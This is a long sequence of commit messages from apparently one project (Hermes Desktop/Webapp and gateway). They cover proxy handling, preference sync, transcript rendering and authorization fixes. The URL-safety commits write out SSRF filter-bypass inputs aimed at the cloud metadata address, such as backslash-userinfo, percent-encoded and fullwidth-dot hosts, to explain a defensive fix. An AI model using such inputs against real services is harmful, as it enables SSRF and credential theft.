- NO_PROXY gains 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  and .local, and a user NO_PROXY is extended instead of replaced. The
  user's value previously also overrode the extended one, because
  process.env was spread after the proxy env.
- Each update host is resolved on its own, and the env proxy is exported
  only when every host is either that one plain PROXY or DIRECT. A PAC
  that sends hosts to different proxies gets a logged note and no env.
- SOCKS and HTTPS answers are no longer exported. Chromium's "SOCKS" is
  SOCKS4 and was mapped to socks5h. Beyond that, Python's urllib sends a
  plaintext CONNECT to any proxy URL, npm reads no SOCKS env, httpx refuses
  socks4, and the update's own git calls drop injected git config. They
  get a logged note instead.

Live (Electron 44.9.3 on Xvnc :95):
- Before: the built Desktop launched with a marked proxy env gave its
  Python backend all six proxy variables. After: only the user's
  NO_PROXY=corp.internal.
- The real posix.sh --relaunch-target: `hermes update` still gets the
  proxy, and the relaunched app gets none (before: all six).
- A PAC resolving LAN and corp hosts DIRECT keeps them direct, and so do
  the update's localhost calls.
`hermes update` restarts a non-service gateway (and replays `hermes serve`)
with its full env, which carries the Desktop's HERMES_UPDATE_SYSTEM_PROXY
marker. That process loads ~/.hermes/.env with override at import, and the
restore at start_gateway()/start_server() then popped every marked key,
including an HTTPS_PROXY the user set in .env (same value as the Desktop's
or a different one). The user's configured proxy was gone until a restart.

The restore now keeps a marked key while it still holds the value a dotenv
load in this process published, and does not put a saved NO_PROXY back over
a NO_PROXY the .env set. Names match case-insensitively: on Windows a
.env `https_proxy` and the inherited `HTTPS_PROXY` are one variable. The
Desktop and the hand-off scripts never load
.env into their env, so entry.ts, posix.sh and windows.ps1 are unchanged.
update_proxy_env now reads which proxy values a .env load wrote, so the
update path imports env_loader and its changes must start the upgrade lane.
hermes:version resolved the installation launcher before either cache check,
and on a historical source install (launcher published only to user-bin) that
resolution proves the launcher's identity with a synchronous spawnSync
`--version` (15 s timeout). The refresh runs on window focus and every
profile/connection change, so each one froze Electron's main thread for the
launcher's runtime, cache hits included. The cache and in-flight coalescing
are now keyed by installation (root + HERMES_HOME) and answer before any
discovery, and discovery uses resolveInstallationLauncherAsync, which shares
the sync resolver's rungs (staged -> historical user-bin with exact-root
identity -> legacy shim) but probes asynchronously.
(Deep review on #144894, M1.)
A WAL snapshot is one C sqlite3_backup_step (pages=-1, so foreign writes
cannot restart it). Python runs signal handlers only on the main thread
between bytecodes, so the Desktop's deadline SIGTERM was serviced only once
the whole copy had finished: on a 1.5 GB db, 10.8 s after the signal. The
copy now runs on a worker thread (sqlite releases the GIL) while the main
thread waits in short joins, so the handler exits through the staging
cleanup at once (measured 0.05-0.18 s vs 1.3-3.4 s on base). An interrupted
copy leaves its connections to the exiting worker (close() would wait for
the copy), and the staging copy's -journal is removed with it. The rollback
journal size estimate also floors the measured rate so it can never divide
by zero. (itsflownium review on #144894, #1 + small item.)
_kill_tree replaced proc.kill(), which polls first and skips a reaped child
(bpo-38630), with a raw os.killpg(proc.pid). On Ctrl-C, communicate() reaps
git inside its wait window and the cleanup then reached _kill_tree with
returncode set: the id may already lead another session, which got SIGKILL.
A reaped handle is now never signalled; returncode is read rather than
poll()ed, since polling would reap an exited leader and skip the helpers a
timed-out git leaves running. (itsflownium review on #144894, #2.)
The tag's rev-parse sat outside the try, so an OSError (a missing git, or a
custody refusal) escaped _cmd_update_impl, and a failed tag fetch was
swallowed silently, leaving every version reader on the previous release,
the symptom the fetch exists to prevent. Both are inside the best-effort
block now, and a miss logs a warning and prints one line naming the tag.
(itsflownium review on #144894, #3.)
After {...process.env} the proxy lookups were case-sensitive, so a Windows
`Https_Proxy` was not seen as explicit (the system proxy was injected over
it) and a `No_Proxy` lost its entries. Explicit-proxy detection and NO_PROXY
entries now match any letter case (urllib lowercases env names on every
OS), and on Windows a case-variant NO_PROXY is saved for the relaunch
restore instead of being marked Desktop-added and deleted.
(Deep review on #144894, minor.)
posix.sh stripped CRs, merging a CR-overwritten progress line into one
string whose first 120 chars were its EARLIEST state; it now keeps the last
CR segment, what the terminal showed. checkout-source's comment said the
proxy env comes last, but buildDesktopBackendEnv is spread after it.
(itsflownium review on #144894, small items.)
The Desktop hands `hermes update` the system proxy in both spellings
(HTTPS_PROXY and https_proxy). The .env load replaces only the spelling
the file uses, and urllib and curl prefer the lower-case one, so the
update still went to the system proxy and the .env NO_PROXY stopped
applying. After the .env load, `hermes update` now undoes everything the
Desktop added when .env sets a proxy (the Desktop injects nothing when it
sees one). A .env NO_PROXY alone replaces the user own entries in every
injected NO_PROXY variant and keeps the bypass the Desktop added; a `*`
there drops the injection.

Review S1 (kshitijk4poor) on #144894.
The update's hosts were a fixed list of public ones, so a fork origin or
an internal package mirror that the system sends direct went through the
injected proxy. updateProxyEnv now also asks about the checkout's http(s)
origin and every configured index or registry (uv and pip index env and
pip.conf, npm_config_registry and the user npmrc), so a direct one joins
NO_PROXY. A user NO_PROXY of `*` bypasses every proxy in curl and urllib
only on its own (`*,localhost` uses the proxy), so the Desktop now
injects nothing over it, as agent/proxy_bypass.py already honours it.

Review S2 and S4 (kshitijk4poor) on #144894.
Review hygiene (kshitijk4poor) on #144894.
With #144890 (release-holder dialog) and this PR (stop-class explanation)
both on main, reportHandoffResult grew past the CC 20 ratchet. Move the
failure branch into reportFailedHandoff unchanged.
The remote-backend recipes in desktop.md and web-dashboard.md wrote the
HERMES_DASHBOARD_BASIC_AUTH_SECRET line inside a quoted heredoc, so .env got the
literal text $(openssl rand -base64 32) instead of a random secret. Write the
credentials with the quoted heredoc and append the secret with a real command
substitution, and tell readers how to spot and replace the literal line.

The basic provider now ignores a signing secret that still contains unexpanded
shell text ($( or a backtick), logs an error, and uses a random per-process key,
so the literal string is never used to sign or verify sessions.
The basic provider already ignores a signing secret holding $( or a backtick.
A secret that is the command itself (openssl rand -base64 32), a spaced
"$ (...)", or the web-dashboard.md placeholder
"<32+ random bytes; openssl rand -base64 32>" pasted as-is was still used as
a fixed, known key. Also match "openssl rand": base64 and hex output never
contains a space, so no generated secret can match it.
The error for a signing secret holding shell text only reached agent.log and
errors.log, so an operator watching the console of hermes serve or hermes
dashboard saw nothing and was only signed out on every restart. Print one line
on stderr the first time such a secret is ignored in a process. The line names
the setting and the fix but never the configured value.
With no Feishu admins and an empty FEISHU_ALLOWED_USERS (the setup default), any chat member could answer an exec-approval or update-prompt card. The clicker now has to pass the same gateway authorization inbound messages use (pairing store, GATEWAY_ALLOWED_USERS, allow-all flags); the click is refused when that check denies or is not registered. A configured Feishu admin/allowlist still decides on its own.
With Feishu admins or FEISHU_ALLOWED_USERS set, an approval or update-prompt click was compared by open_id only, while message intake accepts open_id, tenant user_id and union_id. A user listed by tenant user_id could message the bot but not answer its cards. The click now matches any of the ids the card callback carries (open_id, user_id, union_id), on both the callback thread and the loop-side re-check.
_is_sender_authorized already returns None when no check is registered, which the click path treats as a denial. No Feishu test double relies on the extra getattr.
POST /v1/runs read hosted_room_dispatch and _room_execution_policy straight from the request body when no HermesRoom grant was presented, so an API-key caller could choose its own toolsets, approval mode and turn limit instead of the operator's platform_toolsets.api_server config.

Without a room grant, a body carrying either field is now refused with 403 room_grant_required before any run is reserved. With a verified grant the policy is still rebuilt server-side from the target profile config, so the RoomLink flow is unchanged.
check_api_settings only compared room_execution_policy against the catalog when room_dispatch was also saved, while api_policy_scope binds the policy on its own. A policy-only settings blob (for example an admission queued by an older build and recovered from state.db) would still override the operator toolsets, approval mode and turn limit.

The canonical admission, recovery and drain checks now refuse such settings with permission_denied. A dispatch whose policy matches the local catalog is still admitted and bound.
urllib.parse and WHATWG parsers (browsers, Node-based fetchers) can take a different host from the same string: WHATWG ends the authority at a backslash, percent-decodes the host and accepts http:\\host or http:///host. is_safe_url checked the urlsplit host, so http://127.0.0.1:8080\@1.1.1.1 was judged as 1.1.1.1 while a browser dials 127.0.0.1:8080.

is_safe_url now refuses http(s) URLs with control characters, no // authority, a backslash in the authority, userinfo, percent-encoding or whitespace in the host, or an invalid port. is_always_blocked_url applies the same parse checks (userinfo allowed) so browser backends that skip is_safe_url still keep the metadata floor. Backslashes and @ after the authority are still accepted.
is_always_blocked_url applied every authority check except userinfo, so browser_exec code that builds a port into a URL (f"http://localhost:{port}/", "http://localhost:%d/", JS `http://localhost:${port}/api`) hit "invalid port" or "percent-encoding in host" and was refused as a cloud metadata endpoint on local backends.

The floor now refuses only what can move the host itself: control characters, an authority not introduced by //, and a backslash in the authority. A percent-encoded host is decoded and then checked like any other host, so http://%31%36%39.254.169.254/ stays blocked. is_safe_url keeps refusing userinfo, percent-encoding or whitespace in the host and invalid ports.
_authority_ambiguity stripped every C0 control from the ends before looking for controls, but both callers took the host from the unstripped URL. For http://169.254.169.254 followed by U+0001 the helper found nothing, the host kept the control and missed the metadata comparison, and a DNS failure then left the floor at False and is_safe_url at True when a proxy is configured. Chromium and Node drop the control and read 169.254.169.254.

Only ordinary whitespace (space, tab, CR, LF, VT, FF) is now stripped before the control check, so a trailing C0 control or DEL is refused, and both functions take the host from that same stripped string.
WHATWG clients IDNA-map the host, so U+3002, U+FF0E and U+FF61 read as "." and fullwidth digits as ASCII: http://169.254.169.254。/ is 169.254.169.254 to Chromium and Node. Callers that pass the raw string (browser_cdp's url_blocked) got is_safe_url True with a proxy configured and a floor of False, because the host failed DNS instead of matching the literal.

Both functions now IDNA-encode the host before the metadata and IP comparisons, mapping the three dot forms to "." when encoding fails, and drop the trailing dot.
useGroupCapability and GroupExecutionGate read gatewayActivationEpoch()
during render and fence the groups.capabilities answer with it. The
primary fast path of ensureGatewayForProfile bumps the epoch without
moving the connectionId/profile/gateway atoms those components subscribe
to, and the React Compiler memoizes the epoch read behind exactly those
atoms. The fence then rejects a healthy driver:true answer as stale,
nothing re-renders, and New Group Chat stays in `checking` with Create
disabled and no warning (Start gateway group has the same failure).

Move the epoch into a nanostores atom (store/gateway-activation-epoch.ts)
whose only writer is beginGatewayActivation, and expose
useGatewayActivationEpoch() through the SDK. Both consumers now re-key
and re-probe once when an activation moves the epoch. The stale-answer
fence (groupCreationSource) is unchanged.
The live repro on main: a Desktop relaunch or a Webapp reload restores the
Bots pane, so the roster mounts the closed dialog before the boot
activation bumps the epoch. Opening it later left Create Group (2)
disabled forever, though the menu item that opened it was enabled.
The password sign-in page (dashboard_auth/login_page.py) loads Collapse and
Rules Compressed from /fonts/. Those files ship in web/public/fonts, which the
dashboard build copies into its dist, but the Webapp serves
apps/desktop/dist-webapp, which has no fonts/ dir. The SPA catch-all then
answered every font request with index.html (200 text/html) and the page
rendered in fallback faces.

- /fonts/ and /fonts-terminal/ read the served dist's copy first, then the
  web/public copy the dashboard build takes it from; both surfaces run from
  the same tree, so the sign-in page gets the same files on either.
- A miss under a static asset prefix (assets/, ds-assets/, fonts/,
  fonts-terminal/) is a 404 on both surfaces instead of the SPA shell.
  Client-side routes keep the index.html fallback.

Found by @dokterdok on #144648.
Nix (and any install that excludes web/ from the Python package) ships
no source-tree web/public, so the font fallback found nothing and the
sign-in page fell back to system faces on the Webapp surface. The
packaged dashboard dist (WEB_DIST / HERMES_WEB_DIST) carries the same
fonts; it is now searched after the served dist and before web/public,
with the same containment check.

Found by @unsupportedpastels and Greptile on #145639.
Desktop/Webapp UI preferences lived only in each browser's localStorage, so
every device and every origin (LAN IP vs public URL) of the Webapp had its own
settings. They now live once on the machine that runs the app, beside the root
Hermes home (`<root>/ui-preferences.json`), independent of gateway connection
and profile:

- Python store `hermes_cli/ui_preferences.py` + `/api/ui-preferences`
  (GET/PATCH, Webapp surface only, behind the existing session/sign-in gate).
- Electron twin `electron/ui-preferences.ts`: typed preload capability
  (sync first-paint snapshot, read, validated per-key write, change push incl.
  writes the Webapp's server makes).
- Shared on-disk contract: per-key merge under a `<store>.lock` directory
  lock, temp+rename, revision counter; `seed` imports a window's existing
  localStorage once and never overwrites an existing store.
- Renderer: allowlisted preference keys (no credentials, grants, drafts or
  per-window state) sync both ways; localStorage stays the synchronous cache;
  persistent atoms for shared keys follow changes live.
A change still inside the write debounce was lost when the tab reloaded or
closed, and the next load then adopted the older store value. Unconfirmed
changes now ride in a local outbox that outranks the store on the next load
and is written then.
registerFsIpc's callers (and its test's ipcMain stand-in) know only invoke
handlers; the store's synchronous first-paint snapshot needs ipcMain.on.
Register it from main next to the other pre-paint payload instead, moving the
local-skin handler into local-skin.ts so main.ts ends shorter than on main.
Docs: where Desktop and Webapp display preferences live.
- Browser first paint: boot reads the serving host's store before any store
  module evaluates (top-level await, bounded 1.5 s), so plain-atom stores
  (favorites, keybinds, presets) never start from a stale cache and a new
  device paints the machine's theme on its first frame.
- One store write in flight; a newer edit can no longer be overwritten by an
  older batch that commits later. Refused batches (400 / validation) stay
  local and stop blocking later changes; transient failures back off.
- persistentAtom adopts the CURRENT stored value on a storage event, so a
  queued older event cannot undo a newer edit.
- Lock directory carries an owner token: only the holder releases it, and a
  writer whose lock was broken as stale aborts instead of replacing the file.
- Python resolves the store with Desktop's rule (profile home -> root, any
  other HERMES_HOME is its own root), so a custom home under ~/.hermes no
  longer splits the two stores.
- Share sessionOrder.manual and known-models with the keys that depend on
  them; user-theme installs go through the storage choke point.
Review finding 1 (#145536): boot.ts was imported first by main.tsx, but the
production chunk graph evaluates every shared chunk (where most persisted
stores live) before the entry body, and dev ESM evaluates sibling imports
before a top-level await settles. Stores read stale localStorage, and the
next write replaced the host's values (favourites [A,B] became [C]).

The renderer entry is now src/entry.ts: it hydrates through bootRenderer()
(native: the preload's synchronous snapshot; Webapp: /api/ui-preferences,
bounded at 1.5 s, local cache on failure) and only then dynamically imports
./main, so no store module can evaluate first in either host.
Review findings 2-5 (#145536), store side, both writers (Python route and the
native Electron writer) in lockstep:

- Only a missing file reads as "no store". Any other read failure (EACCES,
  EBUSY, EMFILE) refuses the write (PreferencesBusy -> 503, retried) instead
  of merging over nothing; the GET answers 503 too.
- A corrupt store reads as no store; the write that replaces it first copies
  it to ui-preferences.json.corrupt-<ms> and starts a new `generation`, so open
  windows follow the replacement instead of waiting for the revision counter.
- `seed` (a client's first contact) only adds the keys the store lacks and
  creates no store from nothing, so a client with data fills a store an empty
  client reached first.
- The store root is judged on the path as given (a symlinked profile still
  names its root) and then resolved through symlinks on both sides.
Review findings 1, 2, 4 and 6 (#145536), renderer side:

- A client removes a local shared key the store lacks only after it joined
  that store generation (imported its own values with an add-only seed). A
  fresh browser that reached the store first can no longer make native
  Desktop delete its themes, user themes and keybinds; their values are
  imported instead.
- A snapshot from a generation this origin has not joined (the store was
  deleted or replaced after corruption) is followed regardless of revision,
  and the window re-imports its values into it.
- Hydration announces every key it changes, so anything already listening
  follows it.
- Unsent changes live in a per-tab outbox (id in sessionStorage, handed to
  the same tab's next load), so same-origin tabs no longer overwrite each
  other's pending edits.
Review finding 2 (#145536), found by the live re-run: several stores persist
their default the moment their module loads (keybinds' boot subscribe, the
backdrop, translucency, sound toggles...). A fresh browser's add-only seed
then filled the store with 13 defaults first, so native Desktop's own
keybinds could no longer be imported and were replaced by "{}".

boot.ts now records the shared keys a window held before the app's module
graph evaluated (captureOwnPreferences); a first-contact seed offers only
those. Once a window has joined, its cache mirrors the store and all of it is
offered again should the store be replaced. Also types the boot test's
cleanup for the typecheck.
Two stores wrote shared keys outside the first-contact seed: translucency
persisted its loaded book 120 ms after load (and again on every adoption),
and auto-speak persisted its one-time migration from voice.auto_tts. Both
went through the change path, last write wins, so a fresh browser that
reached the machine store before native Desktop's first contact after the
upgrade put its defaults there first, and native adopted them over the
user's custom values.

- translucency writes only an edit: a book that already resolves from
  storage (loaded, adopted from a sibling or the store) is never written
  back, so neither its default nor a browser's no-glass normalisation
  reaches the store. A v1 state still migrates into v2.
- writeKey takes `provisional`: a value a client stored for itself. The sync
  never seeds or writes it, never prunes it while the store lacks the key,
  and drops the mark once the store has a value or the user makes a real
  change. The auto-speak migration is provisional, so native's behaviour
  without a store is unchanged (migrated once, kept), and a browser reload
  does not turn it into "own" data either.
Dismissal state lived only in each browser's localStorage, so a phone, a
second browser or another Webapp address replayed first-run onboarding and
the whole tip deck (#145600). The tip rotation's ledgers (seen, retired,
cursor, cooldown) and the onboarding skip are now machine-level shared
preferences; tours' switch already was. The skip is read and written through
the storage choke point so the sync sees it, and both writers accept the
`hermes-onboarding-` prefix. The "provider configured" cache stays local:
each backend answers that itself.

Fixes #145600
Nine stores write their value the moment their module evaluates (keybinds
'{}', the sound and view switches, profile colours: 11 keys). That happens
before main.tsx starts the sync, so the provisional mark never saw them; on a
fresh browser's reload they read as its own data, its first-contact import put
them in the store, and native Desktop's seed (adds only keys the store lacks)
then lost the user's custom keybinds and switches.

The provisional mark now lives at the storage choke point, so it covers writes
made before the sync listens. persistStore() writes a store's load-time value
provisionally and every later change as the user's. A provisional write that
changes nothing is skipped, and one that rewrites the user's own value (a heal,
a migration from a real value) keeps it theirs.
Stores now import persistStore from @/lib/persist-store. It only needs the
WriteOptions type, so existing tests that mock @/lib/storage (e.g.
store/updates.test.ts) keep working without learning a new export.
Every main-built Webapp tab holds about a dozen defaults that its stores
wrote at load with no provisional mark (keybinds "{}", hapticsMuted false,
the translucency book...). After the upgrade such a tab often reaches the
machine first: its first-contact seed sent those defaults as data, and
native Desktop's custom keybinds and haptics were then rejected by the
add-only seed and overwritten locally.

persistStore now takes the store's default: a load value equal to it is
provisional even when it is already stored, so it never enters the shared
store by seed or write. Every allowlisted store that writes at load passes
its default (profileOrder now goes through persistStore too), and the
translucency book marks a stored default the same way.

Re-review N1 on #145536.
A tab that closed inside the 150 ms debounce, offline or during a lock
retry left its per-tab outbox behind: nothing read it again, the next tab
adopted the older store value over the edit, and the key stayed forever.

The outbox moves to its own module and carries a liveness stamp. A page
going away (pagehide) marks it closed and sends at once; a hidden page
sends at once. The next load, a live sibling on the closed write's storage
event, and a tab's own heartbeat adopt the outboxes of tabs that are gone
(closed, or stamp older than 90 s, past a hidden tab's throttled timers),
oldest first, only for values this origin's cache still holds, and remove
them, so each orphan is sent once by the adopting tab. No tab adopts an
older store value over a key a live sibling has not stored yet. An idle
tab runs no timer.

Re-review N2 on #145536.
When the first read takes longer than the 1.5 s boot bound, the app starts
on its cache (correct), but a store that reads once, like the favorite
models, kept that stale list after the snapshot landed, and its next edit
wrote the stale list whole over the machine's.

The sync now tracks what this window's stores last saw per key (their
reads and writes) and rebases every local change onto the current value:
for a list the entries the user removed go and the ones they added join,
for a record the properties they changed win, and a scalar is the user's
choice as before. A change still pending when a newer store value lands
(an edit made before the late snapshot) is rebased onto it the same way.
The rebased value is cached and announced. The write's previous value
rides beside the persistence event, so the event shape observers match
on is unchanged.

Re-review N3 on #145536.
Round-3 re-review of #145536:

- R1: the list rebase kept the whole stale local list, so a favorite another
  client removed came back on the next star. It is now a three-way merge:
  both sides' removals and additions apply; the local order is kept, with the
  store's additions appended (the store's order if only it reordered).
- R2: the outbox kept each unsent value but not the value it was made on, so
  an edit carried over a reload or taken over from a closed tab was written
  whole over other clients' edits. Each entry now keeps its base, and the
  sender rebases it onto the store's current value before the first write.
- R3: a frozen tab whose outbox another tab took over re-sent its stale value
  on wake. Adoption now marks the outbox with the adopter and re-reads it
  (only the claimant sends), and before any save or send a tab checks its
  outbox: taken over, it drops those changes and follows the store.
An unbound legacy local row carrying a user_id stamp held the canonical
"Bot Chat" title and counted as kept history, so the door neither moved it
aside nor minted the profile's chat. The delivery principal is submit-only
and validate_legacy_row refuses a foreign stamp, so every routine
deliver: bot-chat ended "unverified: not_found" for good (#143715).

A stamp now keeps a row in place only on a Desktop source (a served login's
own chat, #140183) or when the row carries a binding.
Follow-up to the cherry-picked fix for #143715, from review.

- A stamp now counts as an owner when a native ticket carries it as its subject: the host's own
  OS identity (`owner_worker_subject()`: `uid:<n>`, Windows `sid:<sid>`, the subject a same-user
  native socket ticket carries) or a structured login subject `auth:v1:[...]` that a same-user
  peer may forward (#138915). Such a row is kept when `validate_legacy_row` accepts it for that
  subject (unrouted, own profile), and a native ticket carrying the same subject adopts it in
  place with its history.
  - Host-identity rows: the cron/bot_relay door carries that subject, so the delivery itself
    adopts the row in place, as on main. The previous commit moved it aside and restarted the
    bot's chat empty.
  - Forwarded-subject rows: kept and refused (`not_found`) for the cron door, as on main, until
    the peer whose ticket carries that subject adopts it. The previous commit moved it aside.
- Any other stamp on a non-Desktop row (a login label such as `basic:alice`, another OS user's
  `uid`) names no subject a ticket carries, so nobody can adopt the row. It stays moved aside, as
  in the previous commit. Such a row that also carries a route column a crash left behind (no
  binding) is now moved aside too. The previous commit kept it, so it still refused every
  delivery (#141243).
- Desktop rows a served login stamped with its label (`<provider>:<id>`) are unchanged from main
  and the previous commit: kept, even with a stale route or another profile's name. The Nous
  account label (`nous:...`) still follows the legacy rule, as on main. A Desktop row stamped with a native subject
  follows the subject rule: kept when adoptable, moved aside when a route column or another
  profile's name makes it unadoptable (main kept it and refused every delivery).
- Docstrings and the inline comment describe the rule the code enforces.
- Tests: the moved-aside case covers `cli`, the stale-route shape, another OS user's `uid` and a
  routed Desktop row stamped with a subject; the Desktop refusal asserts `not_found`; a
  host-identity stamp is adopted in place; a forwarded login subject is kept.

Validation: tests/gateway/test_bot_chat_unadoptable_local_title.py 12 passed. With the previous
commit's session_bot.py, 4 fail (host-stamp adopt-in-place, stale-route, forwarded subject,
routed Desktop subject); against origin/main, 6 fail. A mutant that keeps every `uid:`/`sid:`
stamp turns the other-OS-user case red.
The Docker image assembles /opt/hermes in place (repo: "."), so its
manifest.json lands on the tree itself, but _payload_manifest only probed
the tree's parent. committed_venv() therefore found no sealed payload and
every runtime_command child (skill install, MCP install, doctor, backup)
died with "no dependency environment is committed for this install".

Probe both locations and resolve a manifest's entries relative to its own
directory, which is the payload root in both layouts.
docker/build_agent.py passes the venv's own python, .venv/bin/python, which
the image links out of the tree (/usr/local/bin/python3) and back to the
bundled interpreter under /opt/hermes/tools. The image's manifest therefore
names storePython ".venv/bin/python", and with the on-tree manifest read,
venv_command enters the venv through that chain (bundled python -S
pm/_venv_entry.py <site-packages>). The salvaged test used the bundled
interpreter directly, so the path the image actually takes was untested.

The test now builds that symlink chain, asserts the manifest's storePython,
and runs the venv_command argv to import a dependency from the venv. The
payload_venv docstring no longer says the venv always ships beside the tree.
Follow-up to #144903 (v4 draft stash).

- Save stamps come from one clock across every key: max(now, highest
  stamp in the stash + 1). After the system clock jumped back, a draft
  started in a new session was stamped older than every pre-jump draft,
  so with 50 drafts the cap evicted it on its own save and it was gone
  on reload.
- The v3 list is the texts of the v4 drafts, so v4 is the copy of the
  list this build last wrote. At boot, any difference in the live v3
  list was written by an older build after a downgrade: edits and new
  drafts are adopted, and keys it dropped (sent or cleared there)
  become cleared markers, so a message sent on the older build no
  longer comes back (Enter would have resent it). The list is written
  before v4; a refused list write marks v4 mirrored:false so a stale
  list is not adopted; a list left one write behind by two windows is
  rewritten on the next v4 storage event.
- dead-session-prune doc names the v4 key.
adoptLegacyEdits compared a corrupt or non-object v3 list as empty, which
would have marked every v4 draft cleared. An unreadable list now proves
nothing (no adoption), and the next v4 storage event rewrites it.
Window A sends a draft and writes v3 then v4; window B, from a copy that
still holds it, writes v3 then v4 in between. The list ends up B's, the stash
A's, and a window booting before storage events heal it adopted B's stale
list as an older build's edit, stamped newest: the sent draft came back.

Every list this build writes now leaves a receipt keyed by its hash just
before the list itself, so the final list always has one when this build
wrote it. Boot adopts only a list with no recent receipt (an older build's),
and heals a receipted one from the stash instead. A failed stash write drops
its receipt, so the list it left newer is still adopted next boot.

Also pins the unreadable-list case (fixed in the previous commit) with a test.
A socket drop while the answer after a tool streams could leave the reply
stuck on its first chunk. The reconnect replay (session.events.since) is
answered before session.resume rebinds the new socket, so a turn that commits
in between sends its tail and message.complete to the dropped socket. The cold
resume path also reads REST concurrently with the resume; that page predates
the commit, and the prefetch fast path kept it (plus the local stream row)
even though the resume answered running=false. Nothing re-read the stored row
until a periodic session sweep, 20-50 s later or never.

The idle resume answer is the ordering barrier: once it returns, the reply is
durable. When the early page leaves a local row at the tail and the resume
reports the turn idle, read the newest page once more and reconcile it.
The prefetch graft moves into the new resume-barrier-reread.ts sibling, so
the over-cap index.ts does not grow.
Forces the window deterministically: after the socket drop the spec holds
the reconnect's session.resume for 1.5 s, releases the reply's tail as soon
as the replay (session.events.since) is answered, and lets the turn finish
while the resume is still held. The full reply must render within 10 s;
main keeps it on its first chunk until a periodic session sweep 20-50 s
later, or never.

provider.ts gains holdBeforeFinish (the same hunk #144899 adds).
A Desktop reconnect asks session.events.since and then session.resume on
the new socket. Whatever the session publishes between the replay answer
and the resume's attach reaches no live peer of that socket (only the dead
one, or nobody), and the replay is already over: a reply's tail deltas and
message.complete never arrive, and the view keeps the reply on its first
chunk until a periodic sweep re-reads the transcript.

The replay answer now leaves a one-shot (epoch, cursor) on the connection.
The next resume of that session hands it to attach, which, under the event
stream lock and before the transport joins the fanout, writes it the
frames after the cursor. Nothing can publish ahead of them, so the socket
sees the same contiguous seq run a socket that never dropped would have.
A connection that never replayed, a re-resolved ref, or a window the ring
no longer covers keeps the snapshot-only resume.
After a socket drop the cold resume reads REST concurrently with
session.resume. The authority now pushes the reconnected viewer's missed
tail and message.complete before it answers the resume, and that answer can
still say running:true while its snapshot already carries the committed
reply. The prefetch fast path (prefetchApplied, no live projection) kept the
page read before the commit plus the local stream row, so the bubble stayed
on its first chunk; the idle-only re-read did not fire, and the runtime
overlay saw no change because its baseline was taken after those frames.

The page now yields when the resume snapshot carries a durable row id newer
than the page's newest (prefetchServesResume), so the choice follows row
recency rather than which request returned first. The idle re-read stays for
resumes that omit their snapshot, and no longer spends a read when the
snapshot is present.
settlePrefetchAtResumeBarrier only repacked GraftedTranscriptPage into
ColdPrefetchState under other names, and the caller dropped one of its
fields. The caller now takes rereadPageAfterResumeBarrier's page directly
and updates its variables only when it returns one. No behaviour change.
Switching back to a chat whose turn is still streaming re-activates it and
reads the newest transcript page over REST, while the turn's events keep
arriving on the socket. When the turn stores its final row while that read
is in flight, the page resolves with the whole reply (folded with the turn's
narration and tools) before message.complete reaches the still-pending live
row. overlayConcurrentMessageChanges then saw the live row as a concurrent
change and appended it beside the committed bubble, so the reply drew twice
until the completion retired the live row. representedOnPage only matched
settled live rows; a pending one is excluded on purpose because mid-turn
pages carry the narration row and the turn is still running.

A pending live row now takes the committed bubble's place
(pageReplyCommittingLiveRow) when the page added that bubble after the live
row's own prompt and it ends in a reply covering the live text (the existing
committedReplyCovers rule: a mid-turn commit ends on a tool call). The live
row is kept rather than dropped: its late deltas and the completion still
find it by id, and a dropped row would be re-seeded by the next delta.
isStrictAnswerTextExtension, replyAfterLastTool and committedReplyCovers
move into the new committed-reply.ts sibling (utils.ts is over the size cap).

The transcript-oracle sampler now records the last bubble layouts (row id =
markers) and shows the tail of what it read, so a transient-duplicate red
names the rows that drew the copy and what the view held just before.

Repro: hold the session.resume (activate) request 150-250 ms at the steer
step's switch-back in the core reattach spec, so the backend answers after
the reply is stored but before message.complete is processed: origin/main
6/6 red, same signature as the 1-in-6 CI-shape red (stored "-19-assistant"
plus "assistant-stream-*" both carrying A6i+A6). With the fix: green.
Taking the committed bubble's place is only safe when the live row already
says everything the stored reply says. A live row still short of it may
never get its tail (a completion lost to a reconnect), and replacing the
committed bubble would leave the reply stuck on its first chunk; that case
keeps both, as before. The race this fixes paints the whole reply into the
live row before the REST page lands, so it is unaffected.
The composer settles a one-question card immediately. The next question
arrives as a new request on the same tool row and has to stay answerable.
A settled one-question card stayed up when the gateway sent the next
question, so the chat bar answered a question the card never showed.
A re-delivered activate (session switches, reconnects) could turn a single
clarify call into several identical interactive cards:

- The renderer's request latch re-bound any result-less row to whatever
  question the session currently has parked, so stale duplicate rows painted
  the live question again.
- The activation overlay concatenated the cached row's parts with the
  re-fetched row's parts without deduping tool calls, so the same call could
  appear twice, interleaved with reasoning that ran between the copies.

A row now only follows the live request when its own args cover the
request's questions (a one-at-a-time batch re-arms the same row for its
next question); anything else collapses to its plain tool row. The overlay
merge lets the fresher side win per toolCallId instead of carrying both
copies. Three new renderer tests and one overlay test pin the behavior;
both fail on the pre-fix code.
The activation overlay's per-tool-call merge pushed
use-session-actions/utils.ts and its test file past their line budget.
The merge is a tool-part helper, so it now lives in
lib/chat-messages/tool-parts.ts as concatPartsByToolCall, and its overlay
test has its own file. Behaviour is unchanged.
Drives the card the way production does: the transcript re-arm parkClarify
runs, the composer's answerParkedCard, and the card's own Skip. The next
card shows after a chat-bar answer or a Skip, the next chat-bar line locks
that card's request, the row never drops to a bare tool row while its
args catch up, and an earlier call's answered row stays settled when a
later call asks.
Ownership of the live request was decided by question text, so a row
whose args covered the request followed it. Text cannot tell rows
apart: an earlier call left without its tool.complete can ask the same
question, and a duplicated copy of a call covers every card of its
batch. Both rendered a second live form.

The transcript re-arm already picks one row for each request. It now
records that on the parts: the picked row carries the request id
(clarifyRequestId) and every other open clarify row it saw carries ''.
ClarifyToolLive renders the live request only on the row carrying its
id; a row no re-arm has seen still falls back to covering the questions.
A card answered with its own Confirm keeps its own args while it waits
for tool.complete instead of showing another row's live question.

Found in review by @unsupportedpastels and @yoniebans.
concatPartsByToolCall dropped every earlier tool-call part whose id
appeared in the live row, whatever the tool. Ids repeat across calls
(llama.cpp sends one constant id), so a later terminal call reusing
call_0 deleted an answered clarify call_0 and its Q&A. When only the
page's copy carried a result, the result-less live copy won and the
card went back to pending. Dropping the page's copy also moved the
text and reasoning that followed the call there above it.

Calls now match on id and tool name, keep their place in the page's
row, and take the live copy's fields unless only the page's copy has a
result. The doc comment now says which side wins: the live store's
copy, not the re-fetched one.

Found in review by @yoniebans and @unsupportedpastels.
The view takes a new transcript only when chatMessageArraysEquivalent
sees a change, and chatPartsEquivalent compared a tool call by id, name,
result presence and timestamps. A clarify re-arm for the next card
